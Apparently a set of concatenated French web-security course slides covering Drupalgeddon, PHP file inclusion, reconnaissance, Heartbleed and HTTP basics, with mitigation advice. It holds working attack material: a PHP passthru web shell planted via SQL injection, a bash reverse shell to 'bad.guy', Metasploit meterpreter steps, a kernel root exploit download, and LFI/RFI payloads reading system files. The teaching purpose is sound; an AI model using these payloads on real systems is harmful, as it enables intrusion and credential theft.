## Admin user
* [Drupal 7 Sql Injection SA-CORE-2014-005 CVE-2014-3704](http://www.homelab.it/index.php/2014/10/17/drupal-7-sql-injection/)
```shell
python2 drup4l_7_31_SqlInj_add_admin.py -t http://drup.al -u 1337 -p 1337
```
* représente 26% d'utilisation de la faille
* industrialisé pour vendre du viagra
![viagra](images/drupalgeddon/viagra.jpg "viagra")<!-- .element class="fragment roll-in" -->
## Backdoor
rerésente 68% des attaques
Simple backdoor shell
```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
echo "<pre>";
passthru($_REQUEST["cmd"]);
die;
}
phpinfo();';
```
* [passthru()](http://php.net/manual/fr/function.passthru.php)
* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
## Backdoor
* Architecture Drupal
* menu_router
* un url = un callback + un tableau d'arguments sérialisés
```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```
Payload
```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```
[http://drup.al/backdoor](http://drup.al/backdoor)
Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
- automatisable à souhait
## exploitation
```shell
$ php attack/exploit.php 'http://drup.al'
```
* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
* affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
* affiche les paramètres SQL
## exploitation
```shell
nc -lvvp 1337
```
met le poste de l'attaquant en écoute sur le port 1337
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```
en version encodée
```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
```
* connecte le serveur sur l'IP de l'attaquant
Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
- analyse des ping wireshark
- [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
- sur ma maquette ca marche aussi sur le port 80 ...
## metasploit
[exploit Metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/drupal_drupageddon.rb)
```shell
msf > use exploit/multi/http/drupal_drupageddon
msf exploit(drupal_drupageddon) > set RHOST drup.al
msf exploit(drupal_drupageddon) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(drupal_drupageddon) > set LHOST bad.guy
msf exploit(drupal_drupageddon) > exploit
[&#10035;] Started reverse handler on 172.16.76.145:4444
meterpreter > shell
whoami
www-data
```
![YES](images/drupalgeddon/yes.jpg "YES")<!-- .element class="fragment roll-in" width="200px"-->
Note:
- l'autocomplétion avec tabulation
- Port à rerouter of course
## escalade de privilèges
* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
* environ tous les 2 ans
* [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
* fonctionne sur les archi 64bits uniquement
* kernel de 2.6.37 à 3.8.10
```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```
## W00T
![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->
## Moralité
* un malheur n'arrive jamais seul
* [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
* système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
* réactives
* préoccupées par la sécurité
* bien suivre les mises à jour des produits
* et patcher asap quand nécessaire
# File Inclusion
## aka LFI / RFI
### <i class="fas fa-cogs"></i> File Inclusion
* paramètres HTTP non filtrés
```php
include($_REQUEST['filename']);
```
* permet
* d'exécuter du code distant
* d'exécuter du code localement
* accéder à des fichiers locaux sensibles
* concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php)
### <i class="fas fa-ice-cream"></i> File Inclusion / types
* Local File inclusion
* Remote File inclusion
### <i class="fa-solid fa-bomb"></i> LFI / low
* souvent appelé **Directory traversal**
* permet d'accéder à des fichiers sensibles
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=/etc/passwd)
* marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ...
* marche pas avec `/etc/shadow`
Note:
- open base dir
- pas ou mal configiuré
- par défaut ispconfig
- anciennement safe_mode
### <i class="fa-solid fa-bomb"></i> LFI / low
* paths absolus / paths relatifs (../.. ou ..\\..)
* linux `/etc/passwd`, `../../../../../etc/hosts`
* windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts`
* [/?page=index.php](http://dv.wa/vulnerabilities/fi/?page=index.php)
* boucle infinie = ca marche
* invalider par (include|require)&lowbar;once
### <i class="fa-solid fa-bomb"></i> RFI
* inclusion de code arbitraire
* Backdoor ou Remote shell
* dépend de la configuration de php `/etc/php/7.4/apache2/php.ini`
```ini
allow_url_include=On # just for test purpose
```
`$ sudo systemctl restart apache2`
<i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option!
### <i class="fa-solid fa-bomb"></i> RFI / low
* <small>[/?page=http://perdu.com](http://dv.wa/vulnerabilities/fi/?page=http://perdu.com)</small>
* <i class="fas fa-poop"></i> drôle mais pas très utile
* <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://dv.wa/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small>
* <i class="fa-solid fa-poo"></i> un peu frustrant
### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor
* Basiquement permet d'exécuter du code et / ou des commandes systèmes
* version artisanale
```php
echo passthru($_GET['cmd']);
```
* version plus robuste
* [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor)
* [r57shell.net](http://www.r57shell.net/)
### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small>
* <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://dv.wa/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small>
### <i class="fa-solid fa-bomb"></i> RFI / security medium
```php
$file = str_replace(
array( "http://", "https://" ),
"",
$file
);
```
<small>
* [/?page=hthttp://tp://www.google.fr](http://dv.wa/vulnerabilities/fi/?page=hthttp://tp://www.google.fr)
* échapper l'échappement
* [/?page=php://filter/convert.base64-encode/resource=file1.php](http://dv.wa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php)
* récupère le code source php du fichier file1.php
* [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://dv.wa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=)
* exécute `<?php system("hostname"); ?>`
</small>
Note:
- discuter la surcharge du php.ini via .htaccess
- solution ispconfig
- on reste bien sur security low pour que ca marche
### <i class="fa-solid fa-bomb"></i> LFI / security medium
```php
$file = str_replace(
array( "../", "..\\" ),
"",
$file
);
```
<small>
* [/?page=../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../../../../../etc/hosts)
* ne fonctionne plus
* [/?page=../..././..././..././..././..././etc/hosts](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* permet d'échapper l'échappement
* [/?page=/etc/passwd](http://dv.wa/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts)
* Les paths absolus fonctionnent toujours
</small>
### <i class="fa-solid fa-bomb"></i> LFI / security high
```php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
```
<small>
* accès au fichier caché
* [/?page=file4.php](http://dv.wa/vulnerabilities/fi/?page=file4.php)
* [wrapper file](https://www.php.net/manual/en/wrappers.file.php)
* [/?page=file:///etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file:///etc/hosts)
* le dossier file n'existe pas mais php résout tout de même
* [/?page=file/../../../../../../etc/hosts](http://dv.wa/vulnerabilities/fi/?page=file/../../../../../../etc/hosts)
### <i class="fa fa-medkit"></i> open_base_dir
* [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php)
* le chemin vers le fichier est analysé
* si le fichier est à l'extérieur des dossiers spécifiés
* PHP refuse d'y accéder
* les liens symboliques sont résolus
* il n'est pas possible d'outre-passer cette restriction avec un lien symbolique
### <i class="fa fa-medkit"></i> open_base_dir
* `.` inclue le fichier lui-même
* problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php)
* valeur typique
```ini
/var/www/:/usr/share/php:/tmp
```
Note:
- utilisé et configuré en automatique dans ISPConfig
- on peut désactiver chdir ...
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
* [realpath()](http://php.net/manual/fr/function.realpath.php)
* converti tous les *.* et **..** en path absolue
* retourne null pour un path inexistant
* [basename()](http://php.net/manual/fr/function.basename.php)
* extrait la partie contenant le nom du dossier précédant directement le nom du fichier
* 2 fonctions qui combinées évitent les directory traversal
### <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = $_GET['user'];
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
```php
$username = basename(realpath($_GET['user']));
$filename = "/home/users/".$username.".txt";
readfile($filename);
```
ne préserve pas d'une LFI dans le même répertoire
### <i class="fa fa-medkit"></i> Se préserver
* déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php)
* utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir)
* désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm))
* filtrer ses entrées
* par listes blanches
* avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)
\ No newline at end of file
# collecter
# <i class="fa fa-puzzle-piece" aria-hidden="true"></i>
# On ne touche pas à la cible!
!["ne pas toucher"](images/gathering/ne-pas-toucher.jpeg "ne pas toucher")
## leakable people
* Connaître les dev, les admins, les webmestres, les directeurs, les cadres, les employés, les prestataires
* Interroger
* les moteurs de recherche
* les réseaux sociaux
* Ingénierie sociale (social engineering)
* [Kevin Mitnick](https://fr.wikipedia.org/wiki/Kevin_Mitnick)
* [L'art de la supercherie](http://www.amazon.fr/Lart-supercherie-r%C3%A9v%C3%A9lations-c%C3%A9l%C3%A8bre-plan%C3%A8te/dp/2744015709)
* [Cybertraque](http://www.allocine.fr/film/fichefilm_gen_cfilm=23117.html)
Note:
- ingénierue social
- hors scope du cours
- kevin mitnik
- a accédé illégalement aux bases de données des clients de Pacific Bell
- a pénétré illégalement les systèmes de Fujitsu, Motorola, Nokia, Sun Microsystems et aussi du Pentagone
- est le premier hacker à figurer dans la liste des dix criminels les plus recherchés par le FBI aux États-Unis finalement arrêté en 1995
- reconverti en expert sécurité
## IP
* [REGIONAL INTERNET REGISTRIES](https://www.arin.net/knowledge/rirs.html)
* [AFRINIC](http://www.afrinic.net/) Africa, portions of the Indian Ocean
* [APNIC](http://www.apnic.net/) Portions of Asia, portions of Oceania
* [LACNIC](http://www.lacnic.net/en/) Latin America, portions of the Caribbean
* [ARIN](https://www.arin.net/) Canada, Caribbean and North Atlantic islands, and USA
* [RIPE CC](https://www.ripe.net/) Europe, the Middle East, Central Asia
* [IP de l'UCA](https://apps.db.ripe.net/search/query.html?searchtext=193.49.119.31#resultsAnchor)
## Noms de domaines
* whois des gestionnaires de premier niveau
* [ICANN](https://whois.icann.org/fr)
* contrôle des tld (top-level domains)
* generic top-level domains (gTLD) depuis 2011
* [AFNIC](https://www.afnic.fr/fr/produits-et-services/services/whois/)
* .fr ou .re ainsi que .tf, .yt, .pm et .wf
* whois de registar
* [Gandi.net](https://www.gandi.net/whois?lang=fr)
* ligne de commande `whois`
Note:
- donne des points d'entrées
- personnes
- infra
- hébergement de dédié
- CERT
## DNS
!["DNS"](images/gathering/dns.png "DNS")<!-- .element width="70%" -->
* [nslookup](https://fr.wikipedia.org/wiki/Nslookup)
* [dig](https://mediatemple.net/community/products/dv/204644130/understanding-the-dig-command)
Note:
- on peut voir les requêtes dans wireshark
- converti les NDD en IP
- plusieurs NND sur une IP (multihosting)
- passer par une autre appli ou une autre interface
- point d'entrée
- pas de possibilité de récupérer tous les enregistrements d'un nom de domaine
- ce sreait bien ca donne même les enregistrements inconnus des moteurs de recherche
- internes purs, cachés, etc ...
- sauf si on passe par le transfert de zone
- c'est un défaut de configuration du serveur autoritaire (y en a pas des masses sur Internet)
- le transfert est autorisé sur les serveurs dns secondaire connu
- de toute facon le transfert dns ne fonctionne pas avec un dns secondaire
## DNS leak
### <i class="fa fa-hand-o-right" aria-hidden="true"></i> augmenter la surface d'attaque
* [Fierce Domaine Scanner](http://tools.kali.org/information-gathering/fierce)
* champs SOA : permier serveur autoritaire
* adresse mail de celui qui gère les dns
* tente un transfert de domaine
* teste les sous domaines en aveugle
* à partir d'une ip
* trouve les domaines
* en perl
## DNS leak
* [DNSrecon](http://tools.kali.org/information-gathering/dnsrecon)
* même idée
* en Python
* [IP search using Bing/Azure APIs](http://martin.swende.se/projects/ipsearch.html)
* basé sur les moteurs de recherche
* limité à l'indexation de bing
Note:
- on interroge les DNS et les moteurs de recherche
- toujours pas la cible
- le leak du virtual hosting ne me paraît pas contournable
## Google-Fu / Google Dork
[Google Hacking Database (GHDB)](https://www.exploit-db.com/google-hacking-database/)
<small>
| | | | |
|-----------|-----------------------|--------------|--------------------------------------------|
| [""]() | motif exact | [site:]() | dans le ou les noms des domaines spécifiés |
| [-]() | élimine des résultats | [inurl:]() | dans l'url |
| [~]() | approxime | [intitle:]() | dans la balise title |
| [&ast;]() | caractère joker | [ext:]() | extension de fichier |
</small>
* <a href="#"><strike>link: pages mentionant l'url</strike></a>
[<i class="fa fa-book"></i> Google Hacking for Penetration Testers](http://www.amazon.com/Google-Hacking-Penetration-Testers-Johnny/dp/1597491764)
Note:
- duckduckgo : requete en post / pas d'en tete referer / safe
- cache gogle / way bak machine : info dans le temps et discrète par rapport à la cible
- Google Hacking Data Base GHDB
- rech par techno
- exploit DB CVE compliant ? :D
- intiltle:"index of" "last modified"
- chaque moteur a ses commandes
## Veille Offensive
* Forum / News group / Mailing list
* [google groups](https://groups.google.com/forum/#!overview)
* [stackoverflow](http://stackoverflow.com/)
* [github](https://github.com/)
* [Google alerts](https://www.google.com/alerts)
### à automatiser
## Veille Offensive
* technos de prédilection
* style de code
* extraits
* secrets?
## [Shodan](https://www.shodan.io/)
* découverte de l'internet ...
* en mode combinatoire
<pre><code data-trim class="bash">/[0-255]\.[0-255]\.[0-255]\.[0-255]:\d*/</code></pre>
* en analysant les bannières de service
* prise en main rapide
* [Shodan for penetration testers](https://www.defcon.org/images/defcon-18/dc-18-presentations/Schearer/DEFCON-18-Schearer-SHODAN.pdf)
* [Les dernières requêtes pour l'inspiration](https://www.shodan.io/explore)
## [Shodan](https://www.shodan.io/)
* Interfaces d'admin
* sans protection
* comptes par défaut
* parfois non modifiables (contrat de maintenance)
* Services vulnérables
* [Heartbleed](http://www.shodanhq.com/search?q=port%3A443+openssl+1.0.1)
<small>[Hack Like a Pro: How to Find Vulnerable Targets Using Shodan—The World's Most Dangerous Search Engine](http://null-byte.wonderhowto.com/how-to/hack-like-pro-find-vulnerable-targets-using-shodan-the-worlds-most-dangerous-search-engine-0154576/)</small>
Note:
- barrage hydraulique
- cam de surveillance en tout genre
- avec les objetcs connectés
- le meilleur reste à venir
- la recherche est juridiquement
- cliquer sur un lien c'est plus flou
- silencieux envers la cible
## [<i class="fab fa-github"></i> laramies/theHarvester](https://github.com/laramies/theHarvester)
* Domaine en entrée pour en sortie
* des mails
* des sous domaines
* des usernames valides
* clé GPG
* Utilise Shodan, Google, Bing, Yahoo, twitter, linkedIn, baidu
<!--
## [<i class="fa fa-bitbucket"></i> Recon-ng](https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home)
* Scripts rangés par catégories
* nombreuses API
* namechk, jigsaw, picasa, youtube, shodan, bing etc ...
* sait temporiser les requêtes
* Enregistre toutes les infos dans une bdd locale
* Même ergonomie que metasploit
-->
## [Maltego](https://www.paterva.com/web6/products/maltego.php)
* Opensource
* Version payante
* limitation à 12 résultats, compte à réactiver
* Hébergé sur des seveurs non maîtrisés
* le traffic n'est pas sécurisé
* pas de self hosting
## [Maltego](https://www.paterva.com/web6/products/maltego.php)
* People
* Groups of people (social networks)
* Companies
* Organizations
* Web sites
* Internet infrastructure such as:
* Domains
* DNS names
* IP addresses
* Documents and files
## [Maltego](https://www.paterva.com/web6/products/maltego.php)
![Maltego](images/gathering/maltego.jpg "Maltego")
<!--
## [FOCA](https://www.elevenpaths.com/labstools/foca/)
* Glanneur de méta données /fichier par domaine
* ip d'imprinante
* username stocké dans les documents libre office
* l'OS est donnée aussi
* Google pour la récup des fichiers sur la cible
* traitement des méta local
#### <i class="fa fa-windows"></i> Windows Only
-->
### A ce stade on ne s'est toujours pas connecté à la cible
* Si on veut préserver son anonymat
* Tor
* vpn
* proxy
* [cachedview](http://cachedview.com/)
* [wayback machine](https://archive.org/web/)
* [google translate](https://translate.google.fr/m/translate?hl=fr)
## <i class="fa fa-medkit"></i> Se protéger
* Essayer des outils de collectes régulièrement sur son périmètre
* interroger les moteurs de recherche
* Sensibiliser ses utilisateurs
* Faire une analyse de risque
* mise en place d'une graduation de la confidentialité de l'information
* publique
* secret
## <i class="fa fa-medkit"></i> Se protéger
* Configuration correcte d'apache
* Directory listing
* Home page per user
* Configuration correcte des DNS
* Caché n'est pas protégé
* renommer le dossier `wp-admin`
* ne suffit probablement pas
## heartbleed
![heartbleed](images/heartbleed/heartbleed.png "heartbleed")
## un système vulnérable ...
[Ubuntu server 12.04.4](http://ubuntu-release.locaweb.com.br/12.04/)
```bash
sudo apt-get install nginx
```
### surtout pas d'upgrade pour garder des services vulnérables ;)
[paramétrage réseau](/zz2-f5-securite-logicielle-22-securite-des-applications-web.html#recreer-lenvironnement-de-cours-dans-virtualbox)
## architecture typique
* nginx route le traffic http (80/443)
* vers d'autres serveurs web
* dans notre cas une debian
* avec apache
Note:
- appli node sur port exotique
- possibilité de filtrage de requête
- [load balancing](http://nginx.org/en/docs/http/load_balancing.html) pour pas cher
- accessoirement nickel pour les migrations
## nginx
<pre>
<code data-trim class="hljs bash" style="font-size: 23px; min-height: 560px">
upstream debian80 {
server 172.16.76.144:80;
}
server {
listen 80;
server_name heart.bleed;
# don't mess with security :p
rewrite ^ https://heart.bleed$request_uri? permanent;
}
server {
listen 443;
server_name heart.bleed;
ssl on;
ssl_certificate /etc/nginx/ssl/keys/heartbleed.crt;
ssl_certificate_key /etc/nginx/ssl/keys/heartbleed.key;
location / {
proxy_pass http://debian80/;
proxy_set_header Host $http_host;
}
}
</code>
</pre>
## heartbleed
* découverte en mars 2014
* par Google & Codenomicon
* présente depuis mars 2012
* introduite à la suite d'un "bug fix" par un contributeur bénévole
* validée le 31 décembre 2011
* faille d'implémentation dans openssl
<div style="text-align: center">
<img src="images/heartbleed/heartbleed_explanation_1.png"/>
</div>
<div style="text-align: center">
<img src="images/heartbleed/heartbleed_explanation_2.png"/>
</div>
## impact
* [Bruce Schneier la positionne à 11 sur une échelle de 1 à 10](https://www.schneier.com/blog/archives/2014/04/heartbleed.html)
!["Bruce Schneier"](images/heartbleed/bruce-schneier-facts.jpg "Bruce Schneier")<!-- .element style="float: right; margin: 20px" width="25%" -->
* Qui savait?
* Qui a pu exploiter?
* [la NSA est soupçonnée par bloomberg d'avoir exploité la faille pendant 2 ans](https://www.bloomberg.com/news/articles/2014-04-11/nsa-said-to-have-used-heartbleed-bug-exposing-consumers)
## impact
* touche tout ce qui utilise SSL/TLS
* https
* mail
* imaps
* pop3s
* smtps
* ftps
* vpn
* ...
## impact
touche beaucoup d'équipements aussi
!["Heartbleed device"](images/heartbleed/router_heartbleed.jpg "Heartbleed device")
## mesure curative
* mettre à jour ASAP
* révoquer et changer tous les certificats
* changer tous les mots de passe
* Touche beaucoup de services web
!["Heartbleed impact"](images/heartbleed/impact_heartbleed.jpg "Heartbleed impact")
Note:
- Windows avec openSSH ne sera pas épargné au prochain tour
## timeline
* [Heartbleed - timeline](https://securityledger.com/2014/06/infographic-a-heartbleed-disclosure-timeline-secunia/heartbleed_infographic/)
* [CVE-2014-0160](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160)
* CVE-2014-0346
Note:
- vitesse de distribution des patchs
- temps de compilation et de distribution dans les paquets
## détection
* [<i class="fa fa-twitter"></i> shodan](https://twitter.com/shodanhq)
* [<i class="fa fa-newspaper-o"></i> shodan blog](http://blog.shodan.io/)
* [Heartbleed Early Shodan Search - port: 443 openssl 1.0.1](https://www.shodan.io/search?query=port%3A443+openssl+1.0.1)
* [Heartbleed CVE Shodan Search - vuln:cve-2014-0160](https://www.shodan.io/search?query=vuln%3A%21cve-2014-0160)
* [Heartbleed Shodan Report](https://www.shodan.io/report/XTx7BmP5)
* [Heartbleed Bug Health Report](https://zmap.io/heartbleed/)
## détection
```bash
$ nmap -p 443 --script=ssl-heartbleed heart.bleed
Starting Nmap (https://nmap.org) at 2015-10-20 12:10 EDT
Nmap scan report for heart.bleed (172.16.76.143)
Host is up (0.0014s latency).
rDNS record for 172.16.76.143: proxy
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability
| in the popular OpenSSL cryptographic software library.
```
### exploit <i class="fa fa-spinner fa-spin"></i>
* [<i class="fab fa-github"></i> akenn/hb-test.py](https://gist.github.com/akenn/10159084)
* [<i class="fa fa-newspaper-o"></i> Andrew Kennedy blog - Heartbleed](http://akenn.org/blog/Heartbleed/)
* [<i class="fa fa-gear"></i> https://heart.bleed ](https://heart.bleed )
* nginx renvoie sur un formulaire d'authentification servi par apache en forçant https
* authentifions nous
### exploit <i class="fa fa-spinner fa-spin"></i>
```bash
$ python2 hb-test.py heart.bleed > hb.dump \
&& cat hb.dump | tail -n +10 | head -n 40
00e0: 63 65 70 74 2D 4C 61 6E 67 75 61 67 ..Accept-Languag
00f0: 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E e: en-US,en;q=0.
0100: 63 63 65 70 74 2D 45 6E 63 6F 64 69 5..Accept-Encodi
0110: 67 7A 69 70 2C 20 64 65 66 6C 61 74 ng: gzip, deflat
0120: 65 66 65 72 65 72 3A 20 68 74 74 70 e..Referer: http
0130: 68 65 61 72 74 2E 62 6C 65 65 64 2F s://heart.bleed/
0140: 78 2E 68 74 6D 6C 0D 0A 43 6F 6F 6B index.html..Cook
0150: 68 65 61 72 74 62 6C 65 65 64 3D 27 ie: heartbleed=
0160: 72 69 65 6E 64 73 21 27 0D 0A 43 6F Hi friends!.use
01d0: 65 3D 6D 61 7A 65 6E 6F 76 69 26 70 rname=mazenovi&p
01e0: 6F 72 64 3D 6C 65 61 6B 65 64 70 61 assword=leakedpa
01f0: 48 95 77 37 7B E7 02 27 4D 8B 3C 2D ss't.H.w7{..'M.<-
```
aucun signe de l'attaque dans les logs
Note:
- ca marche aussi avec les clés privées de serveurs
- et avec tous les secrets qui passe par la mémoire du serveur
![alt text](images/http/http-slash-slash.png "http slash slash")
## client / serveur
![alt text](images/http/client-serveur.png "Client Serveur")
# HTTP
* le serveur est typiquement un __serveur web__
* le truc est typiquement une _ressource_ associée a une __URI__
* le client est typiquement
* un __navigateur web__
* une __web app__
* un __objet connecté__
* __n'importe quoi__ qui consomme de l'API...
# HTTP
* inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989
* [HTTP/1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999
* [HTTP/2](https://tools.ietf.org/html/rfc7540)
* basé sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google
* [HTTP/3](https://tools.ietf.org/html/draft-ietf-quic-http-17)
* basé sur [QUIC](https://en.wikipedia.org/wiki/QUIC)
* [Qu’est-ce que HTTP/3 – Informations sur le nouveau protocole UDP rapide ?](https://kinsta.com/fr/blog/http3/)
Note:
- périmètre de sécurité élargi browser / responsive / web app / API -> installé sur les mobiles
- Tim Berners Lee a également inventé les adresses web et le langage HTML qui forment le web
- URI terme le plus générique
- URN sans le protocole
- URL emplacement à suivre ne gère pas le déplacement de la ressource
## <i class="fa-solid fa-link"></i> URI/URL/URN
![URI/URL/URN](images/http/uri-url-urn.png "URI/URL/URN")<!-- .element syle="float: right"style="width: 30%" -->
* Uniform Resource name (URN)
* ex: le nom d'une personne
* Uniform Resource locator (URL)
* ex: l'adresse d'une personne
* Uniform Resource Identifier
* des URLs, URNs, ou les deux
Note:
- URI terme le plus générique
- URN sans le protocole, ca désigne le concept
- URL emplacement ou on peut trouver le concept
- ne gère pas le déplacement de la ressource
## <i class="fa-solid fa-link"></i> Schéma d'url
![schéma d'url](images/http/urls.png "schéma d'url")<!-- .element style="width: 100%" -->
les mots de passes peuvent transiter en claire via les schemas d'url
## <i class="fa-solid fa-link-slash"></i> urls trompeuses
* <small>http://www.visa.com:1337@33.32.323.22:8080/cart?add=1345</small>
* <small>http://visa.com:UserSession=56858&useroption=879@42.216.64.464</small>
* <small>http://www.visa.com@33.32.323.22</small>
* <small>https://www.v-i-s-a.com</small>
<!-- https://airfrance%2Efr@myshort.ru/UWoezfMj/?airfrance-billets-gratuits.html -->
## requête HTTP
* une URI (Unified Resource Identifier)
* quelques [en-têtes / headers](http://en.wikipedia.org/wiki/List_of_HTTP_header_fields)
* contraintes sur le contenu demandé
* informations contextuelles
* sous la forme clé: valeur
* un verbe HTTP décrivant l'action
* une ligne vide
* un corps servant à éventuellement envoyer des données
Note:
- dans la préhistoire le verbe est appelé méthode
## requête HTTP de la vraie vie
```http
GET / HTTP/1.1
Host: perdu.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Tue, 02 Mar 2010 18:52:21 GMT
If-None-Match: "cc-480d5dd98a340"
Cache-Control: max-age=0
useless data
```
Connaissez vous Burp Suite?
Note:
- Connection: keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça)
- Accept-Encoding: gzip, deflate commpressions supportées par le navigateur
- le reste du cache
## verbes HTTP
agissent sur une URI
* __GET__: récupérer une _ressource_ ou une collection de _ressources_
* __POST__: créer un nouvelle _ressource_
* __PUT__: mettre à jour une _ressource_ existante ou créer une nouvelle _ressource_ à une URI donnée
* __DELETE__: supprimer une _ressources_ données
* __PATCH__: mettre à jour partiellement une _ressource_ existante
## verbes HTTP
* [Seuls GET et POST sont implémentés dans les navigateurs](http://www.w3.org/TR/html5/forms.html#attr-fs-action)
* Must read: [Please do not patch like an idiot](http://williamdurand.fr/2014/02/14/please-do-not-patch-like-an-idiot/)
* c.f. REST plus loin dans cette présentation
Note:
- La liste n'est pas exhaustive: HEAD, OPTIONS, TRACE, CONNECT
- tous idempotents sauf POST
- PATCH n'est pas dans la spec
## réponse HTTP
composée
* d'un code HTTP
* de quelques [en-têtes / headers](http://en.wikipedia.org/wiki/List_of_HTTP_header_fields)
* informations sur le contenu servi
* sous la forme clé: valeur
* du contenu envoyé
## réponse HTTP de la vraie vie
```http
HTTP/1.1 304 Not Modified
Date: Fri, 20 Feb 2015 15:15:01 GMT
Server: Apache
Connection: Keep-Alive
Keep-Alive: timeout=2, max=100
Etag: "cc-480d5dd98a340"
